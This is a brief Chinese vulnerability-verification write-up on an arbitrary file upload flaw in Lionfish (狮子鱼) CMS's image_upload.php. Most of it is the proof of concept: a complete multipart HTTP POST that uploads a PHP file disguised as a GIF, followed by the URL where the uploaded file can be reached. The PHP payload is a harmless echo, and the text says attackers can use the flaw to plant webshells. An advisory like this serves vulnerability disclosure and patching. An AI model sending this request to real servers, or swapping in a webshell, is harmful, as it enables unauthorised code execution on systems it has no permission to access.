漏洞验证-狮子鱼CMS image_upload.php任意文件上传

一、漏洞描述

狮子鱼CMS image_upload.php页面存在文件上传漏洞，攻击者可利用该漏洞上传webshell并执行恶意代码。

二、POC

POST /Common/ckeditor/plugins/multiimg/dialogs/image_upload.php HTTP/1.1
Host: XXXX
Content-Type: multipart/form-data;boundary=----WebKitFormBoundary8UaANmWAgM4BqBSs
Content-Length: 213

------WebKitFormBoundary8UaANmWAgM4BqBSs
Content-Disposition: form-data; name="files"; filename="test.php"
Content-Type: image/gif

<?php echo 'Test 2025-09-08'?>
------WebKitFormBoundary8UaANmWAgM4BqBSs—

 

https://XXXX/Common/image/uploads/xxxx.php

 

三、验证截图

四、整改建议

建议升级系统至官方发布的最新版本